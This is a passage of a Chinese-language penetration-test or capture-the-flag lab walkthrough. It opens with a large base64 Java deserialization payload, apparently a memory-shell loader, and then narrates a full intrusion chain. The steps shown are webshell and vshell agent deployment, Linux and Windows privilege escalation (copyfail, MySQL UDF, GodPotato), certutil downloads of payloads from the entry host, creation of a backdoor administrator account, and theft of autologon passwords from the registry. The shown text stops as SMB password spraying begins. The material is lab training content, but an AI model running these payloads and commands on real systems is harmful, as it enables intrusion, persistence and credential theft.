xWVhaaEwzVjBhV3d2U1hSbGNtRjBiM0lIQUhRQkFBUnVaWGgwREFCMkFDUUxBSFVBZHdFQU5XOXlaeTV6Y0hKcGJtZG1jbUZ0WlhkdmNtc3VkMlZpTG1OdmJuUmxlSFF1VjJWaVFYQndiR2xqWVhScGIyNURiMjUwWlhoMENBQjVBUUFJWjJWMFEyeGhjM01CQUJNb0tVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0RBQjdBSHdLQUR3QWZRRUFFR2x6UVhOemFXZHVZV0pzWlVaeWIyMEJBQlFvVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNwV2d3QWZ3Q0FDZ0JmQUlFQkFDQnFZWFpoTDJ4aGJtY3ZRMnhoYzNOT2IzUkdiM1Z1WkVWNFkyVndkR2x2YmdjQWd3RUFLMnBoZG1FdmJHRnVaeTl5Wldac1pXTjBMMGx1ZG05allYUnBiMjVVWVhKblpYUkZlR05sY0hScGIyNEhBSVVCQUI5cVlYWmhMMnhoYm1jdlRtOVRkV05vVFdWMGFHOWtSWGhqWlhCMGFXOXVCd0NIQVFBZ2FtRjJZUzlzWVc1bkwwbHNiR1ZuWVd4QlkyTmxjM05GZUdObGNIUnBiMjRIQUlrQkFCTnFZWFpoTDJ4aGJtY3ZWR2h5YjNkaFlteGxCd0NMQVFBSlkyeGhlbnBDZVhSbEFRQUNXMElCQUF0a1pXWnBibVZEYkdGemN3RUFHa3hxWVhaaEwyeGhibWN2Y21WbWJHVmpkQzlOWlhSb2IyUTdBUUFGWTJ4aGVub0JBQkZNYW1GMllTOXNZVzVuTDBOc1lYTnpPd0VBQVdVQkFCVk1hbUYyWVM5c1lXNW5MMFY0WTJWd2RHbHZianNNQUE0QUJnb0FBZ0NWREFBUkFBWUtBQUlBbHdFQURHUmxZMjlrWlVKaGMyVTJOQUVBRmloTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFcwSU1BSmtBbWdvQUFnQ2JBUUFPWjNwcGNFUmxZMjl0Y0hKbGMzTUJBQVlvVzBJcFcwSU1BSjBBbmdvQUFnQ2ZDQUNQQndDT0FRQVJhbUYyWVM5c1lXNW5MMGx1ZEdWblpYSUhBS01CQUFSVVdWQkZEQUNsQUpJSkFLUUFwZ0VBRVdkbGRFUmxZMnhoY21Wa1RXVjBhRzlrQVFCQUtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk8xdE1hbUYyWVM5c1lXNW5MME5zWVhOek95bE1hbUYyWVM5c1lXNW5MM0psWm14bFkzUXZUV1YwYUc5a093d0FxQUNwQ2dCZkFLb0JBQmhxWVhaaEwyeGhibWN2Y21WbWJHVmpkQzlOWlhSb2IyUUhBS3dCQUExelpYUkJZMk5sYzNOcFlteGxBUUFFS0ZvcFZnd0FyZ0N2Q2dDdEFMQUJBQWQyWVd4MVpVOW1BUUFXS0VrcFRHcGhkbUV2YkdGdVp5OUpiblJsWjJWeU93d0FzZ0N6Q2dDa0FMUUJBQVpwYm5admEyVUJBRGtvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3VzB4cVlYWmhMMnhoYm1jdlQySnFaV04wT3lsTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzTUFMWUF0d29BclFDNEFRQVdZV0p6ZEhKaFkzUklZVzVrYkdWeVRXRndjR2x1WndFQUUyRmtZWEIwWldSSmJuUmxjbU5sY0hSdmNuTUJBQlZNYW1GMllTOTFkR2xzTDBGeWNtRjVUR2x6ZERzQkFCWk1iMk5oYkZaaGNtbGhZbXhsVkhsd1pWUmhZbXhsQVFBcFRHcGhkbUV2ZFhScGJDOUJjbkpoZVV4cGMzUThUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdQanNCQUFkblpYUkNaV0Z1Q0FDL0FRQWNjbVZ4ZFdWemRFMWhjSEJwYm1kSVlXNWtiR1Z5VFdGd2NHbHVad2dBd1FnQXV3RUFFMnBoZG1FdmRYUnBiQzlCY25KaGVVeHBjM1FIQU1RQkFBTmhaR1FCQUJVb1RHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0tWb01BTVlBeHdvQXhRRElBUUFNWkdWamIyUmxja05zWVhOekFRQUhaR1ZqYjJSbGNnRUFCMmxuYm05eVpXUUJBQWxpWVhObE5qUlRkSElCQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFCUk1hbUYyWVM5c1lXNW5MME5zWVhOelBDbytPd0VBRm5OMWJpNXRhWE5qTGtKQlUwVTJORVJsWTI5a1pYSUlBTkFCQUFkbWIzSk9ZVzFsREFEU0FFc0tBRjhBMHdFQURHUmxZMjlrWlVKMVptWmxjZ2dBMVFFQUNXZGxkRTFsZEdodlpBd0Exd0NwQ2dCZkFOZ0JBQkJxWVhaaExuVjBhV3d1UW1GelpUWTBDQURhQVFBS1oyVjBSR1ZqYjJSbGNnZ0EzQUVBQm1SbFkyOWtaUWdBM2dFQURtTnZiWEJ5WlhOelpXUkVZWFJoQVFBRGIzVjBBUUFmVEdwaGRtRXZhVzh2UW5sMFpVRnljbUY1VDNWMGNIVjBVM1J5WldGdE93RUFBbWx1QVFBZVRHcGhkbUV2YVc4dlFubDBaVUZ5Y21GNVNXNXdkWFJUZEhKbFlXMDdBUUFHZFc1bmVtbHdBUUFmVEdwaGRtRXZkWFJwYkM5NmFYQXZSMXBKVUVsdWNIVjBVM1J5WldGdE93RUFCbUoxWm1abGNnRUFBVzRCQUFGSkFRQWRhbUYyWVM5cGJ5OUNlWFJsUVhKeVlYbFBkWFJ3ZFhSVGRISmxZVzBIQU9vQkFCeHFZWFpoTDJsdkwwSjVkR1ZCY25KaGVVbHVjSFYwVTNSeVpXRnRCd0RzQVFBZGFtRjJZUzkxZEdsc0wzcHBjQzlIV2tsUVNXNXdkWFJUZEhKbFlXMEhBTzRLQU9zQUlRRUFCU2hiUWlsV0RBQVpBUEVLQU8wQThnRUFHQ2hNYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlRzcFZnd0FHUUQwQ2dEdkFQVUJBQVJ5WldGa0FRQUZLRnRDS1VrTUFQY0ErQW9BN3dENUFRQUZkM0pwZEdVQkFBY29XMEpKU1NsV0RBRDdBUHdLQU9zQS9RRUFDM1J2UW5sMFpVRnljbUY1QVFBRUtDbGJRZ3dBL3dFQUNnRHJBUUVCQUFWelpYUkdWZ0VBT1NoTWFtRjJZUzlzWVc1bkwwOWlhbVZqZER0TWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzcFZnRUFCSFpoY2pBQkFBUjJZWEl4QVFBRGRtRnNBUUFFWjJWMFJnRUFQeWhNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHRNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZiR0Z1Wnk5eVpXWnNaV04wTDBacFpXeGtPd3dCQ0FFSkNnQUNBUW9CQUJkcVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaQWNCREFFQUEzTmxkQXdCRGdBckNnRU5BUThCQUFOdlltb0JBQWxtYVdWc1pFNWhiV1VCQUFWbWFXVnNaQUVBR1V4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaRHNLQVEwQXNBRUFBMmRsZEFFQUppaE1hbUYyWVM5c1lXNW5MMDlpYW1WamREc3BUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdEQUVXQVJjS0FRMEJHQUVBSG1waGRtRXZiR0Z1Wnk5T2IxTjFZMmhHYVdWc1pFVjRZMlZ3ZEdsdmJnY0JHZ0VBSUV4cVlYWmhMMnhoYm1jdlRtOVRkV05vUm1sbGJHUkZlR05sY0hScGIyNDdBUUFRWjJWMFJHVmpiR0Z5WldSR2FXVnNaQUVBTFNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwWnBaV3hrT3d3QkhRRWVDZ0JmQVI4QkFBMW5aWFJUZFhCbGNtTnNZWE56REFFaEFId0tBRjhCSWdvQkd3QWJBUUFNZEdGeVoyVjBUMkpxWldOMEFRQUtiV1YwYUc5a1RtRnRaUUVBQVdrQkFBZHRaWFJvYjJSekFRQWJXMHhxWVhaaEwyeGhibWN2Y21WbWJHVmpkQzlOWlhSb2IyUTdBUUFoVEdwaGRtRXZiR0Z1Wnk5T2IxTjFZMmhOWlhSb2IyUkZlR05sY0hScGIyNDdBUUFpVEdwaGRtRXZiR0Z1Wnk5SmJHeGxaMkZzUVdOalpYTnpSWGhqWlhCMGFXOXVPd0VBQ25CaGNtRnRRMnhoZW5vQkFCSmJUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBQVZ3WVhKaGJRRUFFMXRNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUFadFpYUm9iMlFCQUFsMFpXMXdRMnhoYzNNSEFTa0JBQkpuWlhSRVpXTnNZWEpsWkUxbGRHaHZaSE1CQUIwb0tWdE1hbUYyWVM5c1lXNW5MM0psWm14bFkzUXZUV1YwYUc5a093d0JNd0UwQ2dCZkFUVUJBQWRuWlhST1lXMWxEQUUzQUFZS0FLMEJPQUVBQm1WeGRXRnNjd3dCT2dESENnQVdBVHNCQUJGblpYUlFZWEpoYldWMFpYSlVlWEJsY3dFQUZDZ3BXMHhxWVhaaEwyeGhibWN2UTJ4aGMzTTdEQUU5QVQ0S0FLMEJQd29BaUFBYkFRQWFhbUYyWVM5c1lXNW5MMUoxYm5ScGJXVkZlR05sY0hScGIyNEhBVUlCQUFwblpYUk5aWE56WVdkbERBRkVBQVlLQUlvQlJRb0JRd0FiQUNFQUFnQUVBQUFBQUFBT0FBRUFCUUFHQUFFQUJ3QUFBQzBBQVFBQkFBQUFBeElOc0FBQUFBSUFDQUFBQUFZQUFRQUFBQkFBQ1FBQUFBd0FBUUFBQUFNQUNnQUxBQUFBQVFBT0FBWUFBUUFIQUFBQUVBQUJBQUVBQUFBRUV3QVFzQUFBQUFBQUFRQVJBQVlBQWdBU0FBQUFCQUFCQUJRQUJ3QUFBQmNBQXdBQkFBQUFDN3NBRmxrVEFCaTNBQnl3QUFBQUFBQUJBQmtBSFFBQ0FBY0FBQUJqQUFNQUF3QUFBQlVxdHdBaUtyWUFKa3dxdHdBcFRTb3JMTFlBTGJFQUFBQUNBQWdBQUFBV0FBVUFBQUFkQUFRQUhnQUpBQjhBRGdBZ0FCUUFJZ0FKQUFBQUlBQURBQUFBRlFBS0FBc0FBQUFKQUF3QUhnQWZBQUVBRGdBSEFDQUFId0FDQUJJQUFBQUVBQUVBTHdBQkFDTUFKQUFDQUFjQUFBRjhBQWNBQndBQUFKQzRBRU8yQUVkTUFVMHJFa20yQUUwU1Q3Z0FVMDR0RWxXNEFGTTZCQmtFRWxlNEFGTTZCUmtGRWxtNEFGTTZCaXNTVzdZQVRSSmRCTDBBWDFrREt4Smh0Z0JOVXdTOUFEeFpBeGtHVTdnQVpFMm5BQVJPTE1jQU9Dc1NacllBVGJZQWFSSnF1QUJ0d0FCdlRpMjJBSE81QUhnQkFEb0VLeEo2dGdCTkdRUzJBSDYyQUlLWkFBWVpCRTJuQUFST0xMQUFBZ0FKQUZFQVZBQXZBRmtBaWdDTkFDOEFBd0FJQUFBQVJnQVJBQUFBSlFBSEFDWUFDUUFvQUJVQUtRQWRBQ29BSmdBckFDOEFMQUJSQUM0QVZBQXRBRlVBTUFCWkFESUFhd0F6QUhZQU5BQ0hBRFVBaWdBNEFJMEFOd0NPQURvQUNRQUFBRndBQ1FBVkFEd0FNQUFmQUFNQUhRQTBBREVBSHdBRUFDWUFLd0F5QUI4QUJRQXZBQ0lBTXdBZkFBWUFhd0FmQURRQU5RQURBSFlBRkFBMkFCOEFCQUFBQUpBQUNnQUxBQUFBQndDSkFEY0FPQUFCQUFrQWh3QWVBQjhBQWdBOUFBQUFIQUFGL3dCVUFBTUhBQUlIQURvSEFEd0FBUWNBTHdBMFFnY0FMd0FBRWdBQUFBb0FCQUNFQUlZQWlBQ0tBQUlBSndBa0FBSUFCd0FBQVZRQUJnQUhBQUFBZXJnQVE3WUFSMHdCVFNzcXRnQ1d0Z0JOdGdCcFRhY0FZMDRxdGdDWXVBQ2N1QUNnT2dRU09oS2hCcjBBWDFrREVxSlRXUVN5QUtkVFdRV3lBS2RUdGdDck9nVVpCUVMyQUxFWkJTc0d2UUE4V1FNWkJGTlpCQU80QUxWVFdRVVpCTDY0QUxWVHRnQzV3QUJmT2dZWkJyWUFhVTJuQUFVNkJDeXdBQUlBQ1FBVkFCZ0FMd0FaQUhNQWRnQ01BQU1BQ0FBQUFEWUFEUUFBQUQ0QUJ3QS9BQWtBUVFBVkFFc0FHQUJDQUJrQVJBQWxBRVVBUXdCR0FFa0FSd0J0QUVnQWN3QktBSFlBU1FCNEFFd0FDUUFBQUVnQUJ3QWxBRTRBalFDT0FBUUFRd0F3QUk4QWtBQUZBRzBBQmdDUkFKSUFCZ0FaQUY4QWt3Q1VBQU1BQUFCNkFBb0FDd0FBQUFjQWN3QTNBRGdBQVFBSkFIRUFJQUFmQUFJQVBRQUFBQzRBQS84QUdBQURCd0FDQndBNkJ3QThBQUVIQUMvL0FGMEFCQWNBQWdjQU9nY0FQQWNBTHdBQkJ3Q00rZ0FCQUJJQUFBQUVBQUVBTHdBQkFDb0FLd0FCQUFjQUFBQzlBQWNBQlFBQUFEQXJFc0FFdlFCZldRTVNGbE1FdlFBOFdRTVN3bE80QUdST0xSTER1QUJ0d0FERk9nUVpCQ3kyQU1sWHB3QUVUckVBQVFBQUFDc0FMZ0F2QUFRQUNBQUFBQm9BQmdBQUFGRUFHUUJTQUNRQVV3QXJBRlVBTGdCVUFDOEFWZ0FKQUFBQU5BQUZBQmtBRWdDNkFCOEFBd0FrQUFjQXV3QzhBQVFBQUFBd0FBb0FDd0FBQUFBQU1BQWVBQjhBQVFBQUFEQUFJQUFmQUFJQXZRQUFBQXdBQVFBa0FBY0F1d0MrQUFRQVBRQUFBQWNBQW00SEFDOEFBQWdBbVFDYUFBSUFCd0FBQVFBQUJnQUVBQUFBYWhMUnVBRFVUQ3NTMWdTOUFGOVpBeElXVTdZQTJTdTJBR2tFdlFBOFdRTXFVN1lBdWNBQW9zQUFvckJORXR1NEFOUk1LeExkQTcwQVg3WUEyUUVEdlFBOHRnQzVUaTIyQUg0UzN3UzlBRjlaQXhJV1U3WUEyUzBFdlFBOFdRTXFVN1lBdWNBQW9zQUFvckFBQVFBQUFDb0FLd0F2QUFRQUNBQUFBQm9BQmdBQUFGd0FCZ0JkQUNzQVhnQXNBRjhBTWdCZ0FFVUFZUUFKQUFBQU5BQUZBQVlBSlFES0FKSUFBUUJGQUNVQXl3QWZBQU1BTEFBK0FNd0FsQUFDQUFBQWFnRE5BTTRBQUFBeUFEZ0F5Z0NTQUFFQXZRQUFBQllBQWdBR0FDVUF5Z0RQQUFFQU1nQTRBTW9BendBQkFEMEFBQUFHQUFGckJ3QXZBQklBQUFBS0FBUUFoQUNJQUlZQWlnQUpBSjBBbmdBQ0FBY0FBQURVQUFRQUJnQUFBRDY3QU90WnR3RHdUTHNBN1ZrcXR3RHpUYnNBNzFrc3R3RDJUaEVCQUx3SU9nUXRHUVMyQVBwWk5nV2JBQThyR1FRREZRVzJBUDZuLytzcnRnRUNzQUFBQUFNQUNBQUFBQjRBQndBQUFHWUFDQUJuQUJFQWFBQWFBR2tBSVFCckFDMEFiQUE1QUc0QUNRQUFBRDRBQmdBQUFENEE0QUNPQUFBQUNBQTJBT0VBNGdBQkFCRUFMUURqQU9RQUFnQWFBQ1FBNVFEbUFBTUFJUUFkQU9jQWpnQUVBQ29BRkFEb0FPa0FCUUE5QUFBQUhBQUMvd0FoQUFVSEFLSUhBT3NIQU8wSEFPOEhBS0lBQVB3QUZ3RUFFZ0FBQUFRQUFRQVVBQ0FCQXdFRUFBSUFCd0FBQUZjQUF3QUVBQUFBQ3lzc3VBRUxLeTIyQVJDeEFBQUFBZ0FJQUFBQUNnQUNBQUFBY2dBS0FITUFDUUFBQUNvQUJBQUFBQXNBQ2dBTEFBQUFBQUFMQVFVQUh3QUJBQUFBQ3dFR0FNNEFBZ0FBQUFzQkJ3QWZBQU1BRWdBQUFBUUFBUUF2QUFnQWF3QlJBQUlBQndBQUFGY0FBZ0FEQUFBQUVTb3J1QUVMVFN3RXRnRVZMQ3EyQVJtd0FBQUFBZ0FJQUFBQURnQURBQUFBZGdBR0FIY0FDd0I0QUFrQUFBQWdBQU1BQUFBUkFSRUFId0FBQUFBQUVRRVNBTTRBQVFBR0FBc0JFd0VVQUFJQUVnQUFBQVFBQVFBdkFBZ0JDQUVKQUFJQUJ3QUFBTWNBQXdBRUFBQUFLQ3EyQUg1TkxNWUFHU3dydGdFZ1RpMEV0Z0VWTGJCT0xMWUJJMDJuLyttN0FSdFpLN2NCSkw4QUFRQUpBQlVBRmdFYkFBUUFDQUFBQUNZQUNRQUFBSHdBQlFCOUFBa0Fmd0FQQUlBQUZBQ0JBQllBZ2dBWEFJTUFIQUNFQUI4QWhnQUpBQUFBTkFBRkFBOEFCd0VUQVJRQUF3QVhBQVVBa3dFY0FBTUFBQUFvQVJFQUh3QUFBQUFBS0FFU0FNNEFBUUFGQUNNQWtRQ1NBQUlBdlFBQUFBd0FBUUFGQUNNQWtRRFBBQUlBUFFBQUFBMEFBL3dBQlFjQVgxQUhBUnNJQUJJQUFBQUVBQUVCR3dBb0FGQUFVUUFDQUFjQUFBQkNBQVFBQWdBQUFBNHFLd085QUY4RHZRQTh1QUJrc0FBQUFBSUFDQUFBQUFZQUFRQUFBSXNBQ1FBQUFCWUFBZ0FBQUE0QkpRQWZBQUFBQUFBT0FTWUF6Z0FCQUJJQUFBQUlBQU1BaUFDS0FJWUFLUUJRQUdJQUFnQUhBQUFDRndBREFBa0FBQURLS3NFQVg1a0FDaXJBQUYrbkFBY3F0Z0IrT2dRQk9nVVpCRG9HR1FYSEFHUVpCc1lBWHl6SEFFTVpCcllCTmpvSEF6WUlGUWdaQjc2aUFDNFpCeFVJTXJZQk9TdTJBVHlaQUJrWkJ4VUlNcllCUUw2YUFBMFpCeFVJTWpvRnB3QUpoQWdCcC8vUXB3QU1HUVlyTExZQXF6b0ZwLytwT2djWkJyWUJJem9HcC8rZEdRWEhBQXk3QUloWks3Y0JRYjhaQlFTMkFMRXF3UUJmbVFBYUdRVUJMYllBdWJBNkI3c0JRMWtaQjdZQlJyY0JSNzhaQlNvdHRnQzVzRG9IdXdGRFdSa0h0Z0ZHdHdGSHZ3QURBQ1VBY2dCMUFJZ0FuQUNqQUtRQWlnQ3pBTG9BdXdDS0FBTUFDQUFBQUc0QUd3QUFBSThBRkFDUUFCY0FrZ0FiQUpNQUpRQ1ZBQ2tBbHdBd0FKZ0FPd0NaQUZZQW1nQmRBSnNBWUFDWUFHWUFuZ0JwQUo4QWNnQ2pBSFVBb1FCM0FLSUFmZ0NqQUlFQXBRQ0dBS1lBandDb0FKVUFxUUNjQUtzQXBBQ3NBS1lBclFDekFMRUF1d0N5QUwwQXN3QUpBQUFBZWdBTUFETUFNd0VuQU9rQUNBQXdBRFlCS0FFcEFBY0Fkd0FIQUpNQktnQUhBS1lBRFFDVEFTc0FCd0M5QUEwQWt3RXJBQWNBQUFES0FSRUFId0FBQUFBQXlnRW1BTTRBQVFBQUFNb0JMQUV0QUFJQUFBREtBUzRCTHdBREFCUUF0Z0NSQUpJQUJBQVhBTE1CTUFDUUFBVUFHd0N2QVRFQWtnQUdBRDBBQUFBdkFBNE9Rd2NBWC80QUNBY0FYd2NBclFjQVgvMEFGd2NCTWdFcytRQUZBZ2hDQndDSUN3MVVCd0NLRGtjSEFJb0FFZ0FBQUFnQUF3Q0lBSVlBaWdBQQcARwwASABJDABKAEsHAEwBABBqYXZhL2xhbmcvT2JqZWN0BwBNDABOAE8MAFAAUQwAUgBTDABQAFQBAAhVc2VySW5mbwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXREZWNvZGVyAQAHRGVjb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcjsBABhqYXZhL3V0aWwvQmFzZTY0JERlY29kZXIBAAZkZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAXZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcnMBACIoKVtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABRnZXRTeXN0ZW1DbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAtuZXdJbnN0YW5jZQEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAAVABYKABQAVQAhABMAFAAAAAAAAwABABUAFgACABcAAACRAAYABQAAAFkqtwBWEgK4AANMKxIEBL0ABVkDEgZTtgAHTSwEtgAIuAAJEgq2AAtOK7YADAMyOgQZBAS2AA0sGQQEvQAOWQO4AA9TtgAQBL0ADlkDLVO2ABHAAAW2ABJXsQAAAAEAGAAAACYACQAAAA4ABAAPAAoAEAAaABEAHwASACgAEwAwABQANgAVAFgAFgAZAAAABAABABoAAQAbABwAAgAXAAAAGQAAAAMAAAABsQAAAAEAGAAAAAYAAQAAABoAGQAAAAQAAQAdAAEAGwAeAAIAFwAAABkAAAAEAAAAAbEAAAABABgAAAAGAAEAAAAfABkAAAAEAAEAHQACAB8AAAACACAARQAAAAoAAQAtACoARAAJdXEAfgAYAAAA8sr+ur4AAAAxABMBAANGb28HAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACEZvby5qYXZhAQAUamF2YS9pby9TZXJpYWxpemFibGUHAAcBABBzZXJpYWxWZXJzaW9uVUlEAQABSgVx5mnuPG1HGAEADUNvbnN0YW50VmFsdWUBAAY8aW5pdD4BAAMoKVYMAA4ADwoABAAQAQAEQ29kZQAhAAIABAABAAgAAQAaAAkACgABAA0AAAACAAsAAQABAA4ADwABABIAAAARAAEAAQAAAAUqtwARsQAAAAAAAQAFAAAAAgAGcHQAAsGQcHcBAHhzcgAiwarBocG2waHArsGswaHBrsGnwK7BicGuwbTBpcGnwaXBshLioKT3gYc4AgABSQAKwbbBocGswbXBpXhyACDBqsGhwbbBocCuwazBocGuwafArsGOwbXBrcGiwaXBsoaslR0LlOCLAgAAeHAAAAABeA==
Accept-Encoding: gzip, deflate
冰蝎连接
vshell上线
这是只能正向上线，因为目标不出网
copyfail提权
查看flag
cat /flag.txt
flag{9b4b7a38-3d45-47e1-b92d-2eea0bc684c9}再以copyfail执行一边vshell，就拿到root权限的vshell了
入口机信息收集
外网机器上还有个jar包
/AoseluMail/AoseluMail-0.0.1-SNAPSHOT.jar进行反编译，发现mysql连接信息
# THYMELEAF (ThymeleafAutoConfiguration)
#spring.thymeleaf.cache=true
spring.thymeleaf.check-template=true
spring.thymeleaf.check-template-location=true
spring.thymeleaf.content-type=text/html
spring.thymeleaf.enabled=true
spring.thymeleaf.encoding=UTF-8
spring.thymeleaf.excluded-view-names=
spring.thymeleaf.mode=HTML5
spring.thymeleaf.prefix=classpath:/templates/
spring.thymeleaf.suffix=.html
server.port=8080
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
spring.datasource.url=jdbc:mysql://172.16.52.45:3306/maildb?characterEncoding=utf-8&useUnicode=true&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=T%b8ds*l3v+B
172.16.52.45这应该内网的一台机器，先把隧道搭建好，再准备连它
隧道代理
用MDUT工具连接
但是连不上，先不管再
内网信息收集
另一张网卡是172.16.53.30
ifconfig
ens5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.53.30 netmask 255.255.0.0 broadcast 172.16.255.255fscan扫描内网，这里用普通权限启动fscan，不能send icmp packet，所以用root权限探测存活更好一点
mail-svc@webserver:/tmp$ ./fscan -h 172.16.53.30/24 -o fscan.txt
./fscan -h 172.16.53.30/24 -o fscan.txt
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets但是root权限扫c段也没扫出啥来
b段扫描
重要信息如下
./fscan -h 172.16.53.30/16 -o fscan.txt
Extranet 172.16.53.30
ASLITPC03 172.16.36.21 AOSELUAUTO\ASLITPC03 139、3306 、135 、445
ASLSRVFS02 172.16.34.23
ASLSRVAD05 172.16.34.5 [+] DC:AOSELUAUTO\ASLSRVAD05 172.16.36.21开放了3306端口，之前拿到的mysql账号密码大概率是这台机器的
第二台172.16.36.21(ASLITPC03)
UDF提权可以执行命令后
Godpotato提权
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledSeImpersonatePrivilege是Enabled，大概率可以用土豆提权
Godpotato执行vshell，上线vshell
因为目标机器在内网，我也没办法上传文件给它，我只能把文件上传到入口机，让mysql这台靶机去入口机下载，找准web目录，这个web目录对应的是80端口，web目录是/var/www/html，注意往这个目录上传东西，要root权限
certutil.exe -urlcache -split -f http://172.16.53.30:80/GodPotato.exe
certutil.exe -urlcache -split -f http://172.16.53.30:80/tcp_windows_amd64.exe
GodPotato.exe -cmd "cmd /c tcp_windows_amd64.exe"上线vshll
查找flag
C:\ProgramData\MySQL\MySQL Server 5.7\Data>dir C:\*flag* /s /b
C:\Users\Administrator\Desktop\flag.txt
C:\ProgramData\MySQL\MySQL Server 5.7\Data>type C:\Users\Administrator\Desktop\flag.txt
flag{723f7cc7-691c-4c20-8f12-8c50bba7b5c0}域内信息收集
C:\ProgramData\MySQL\MySQL Server 5.7\Data>net time /domain
Current time at \\ASLSRVAD05.aoseluauto.com is 6/10/2026 7:56:00 PM
The command completed successfully.该机器在域内，域控是ASLSRVAD05.aoseluauto.com
添加一个rdp用户，登陆ASLSRVAD03主机
net user hacker P@ssw0rd123! /add
net localgroup "Remote Desktop Users" hacker /add
net localgroup administrators hacker /addrdp进去
发现屏幕上显示 EthanMorris这个用户，它自己就登录到了桌面
在 Windows 中，为了方便用户（或服务）自动登录系统，可以配置一个功能叫“自动登录 (AutoAdminLogon)”。当这个功能启用时，开机自动以某个用户登录。系统为满足"自动登录"功能，一定会把凭证存在注册表，用户名、域名和密码以明文（或可解密的简单形式）存储在注册表中
导出注册表自动登录凭证
# 检查 AutoAdminLogon 的值是否为 1
C:\ProgramData\MySQL\MySQL Server 5.7\Data>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoAdminLogon REG_SZ 1
# 如果为 1，立即提取用户名、域名和密码
C:\ProgramData\MySQL\MySQL Server 5.7\Data>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
DefaultUsername REG_SZ EthanMorris
C:\ProgramData\MySQL\MySQL Server 5.7\Data>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
DefaultDomainName REG_SZ aoseluauto.com
C:\ProgramData\MySQL\MySQL Server 5.7\Data>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
DefaultPassword REG_SZ DROCV4?LtyCp拿到
用户名EthanMorris
密码DROCV4?LtyCp
域名aoseluauto.comsmb密码喷洒
拿这个域用户账号密码喷洒
echo -e "172.16.34.23\n172.16.36.21\n172.16.34.5" > targets.txt
# 批量喷洒
